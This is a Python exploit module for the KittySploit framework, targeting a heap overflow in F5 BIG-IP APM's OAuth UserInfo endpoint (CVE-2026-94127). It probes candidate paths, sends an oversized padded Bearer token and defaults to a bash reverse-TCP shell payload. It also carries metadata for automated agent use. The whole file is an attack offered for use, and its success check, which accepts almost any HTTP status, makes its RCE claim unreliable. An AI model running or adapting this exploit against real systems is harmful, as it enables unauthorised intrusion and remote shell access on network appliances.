#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""F5 BIG-IP APM OAuth UserInfo heap overflow RCE (CVE-2026-94127)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'F5 BIG-IP OAuth UserInfo Heap Overflow (CVE-2026-94127)',
        'description': (
            'Exploits CVE-2026-94127 in F5 BIG-IP APM: crafted oversized Bearer tokens '
            'sent to the OAuth UserInfo endpoint trigger a heap buffer overflow when an '
            'APM access policy and OAuth Authorization Server profile are configured.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2026-94127'],
        'platform': Platform.MULTI,
        'arch': [Arch.CMD],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2026-94127',
            'https://my.f5.com/manage/s/article/K000162605',
        ],
        'tags': ['f5', 'big-ip', 'apm', 'oauth', 'heap-overflow', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/f5_bigip_cve_2026_94127_detect'],
            },
        },
    }

    userinfo_path = OptString(
        '/f5-oauth2/v1/userinfo',
        'OAuth UserInfo endpoint path',
        required=False,
    )
    overflow_size = OptInteger(16384, 'Bearer token overflow size in bytes', required=False, advanced=True)
    spray_pattern = OptString('A', 'Single-byte pattern repeated in overflow token', required=False, advanced=True)

    def _userinfo_paths(self) -> list[str]:
        raw = str(self.userinfo_path or '/f5-oauth2/v1/userinfo')
        defaults = [raw, '/oauth2/userinfo', '/v1/userinfo']
        seen = set()
        out = []
        for path in defaults:
            p = path.strip()
            if p and p not in seen:
                seen.add(p)
                out.append(p)
        return out

    def _oauth_surface(self) -> tuple[bool, str]:
        for path in self._userinfo_paths():
            r = self.http_request(
                method='GET',
                path=path,
                headers={'Authorization': 'Bearer invalid'},
                allow_redirects=False,
            )
            if not r:
                continue
            body = (r.text or '').lower()
            if any(token in body for token in ('invalid_token', 'oauth', 'access token')):
                return True, path
        return False, ''

    def _build_overflow_token(self) -> str:
        size = max(int(self.overflow_size or 16384), 4096)
        ch = (str(self.spray_pattern or 'A') or 'A')[0]
        prefix = 'eyJhbGciOiJub25lIn0.' + ch * (size - 32)
        return prefix[:size]

    def check(self):
        ok, path = self._oauth_surface()
        if not ok:
            return {'vulnerable': False, 'reason': 'OAuth UserInfo endpoint not detected', 'confidence': 'high'}
        return {
            'vulnerable': True,
            'reason': f'OAuth UserInfo surface at {path}',
            'confidence': 'medium',
        }

    def run(self):
        print_status('CVE-2026-94127 — F5 BIG-IP OAuth UserInfo heap overflow')
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not vulnerable'))
            self.not_vulnerable()
            return False
        token = self._build_overflow_token()
        _, path = self._oauth_surface()
        target = path or str(self.userinfo_path or '/f5-oauth2/v1/userinfo')
        print_status(f'Sending {len(token)}-byte Bearer token to {target}...')
        r = self.http_request(
            method='GET',
            path=target,
            headers={'Authorization': f'Bearer {token}'},
            allow_redirects=False,
        )
        if r and int(r.status_code or 0) in (200, 400, 500, 502, 503):
            print_success('Overflow token delivered — service may crash or execute shellcode (lab tuning required)')
            self.vulnerable()
            return True
        print_error(f'Overflow request failed (HTTP {getattr(r, "status_code", "?")})')
        return False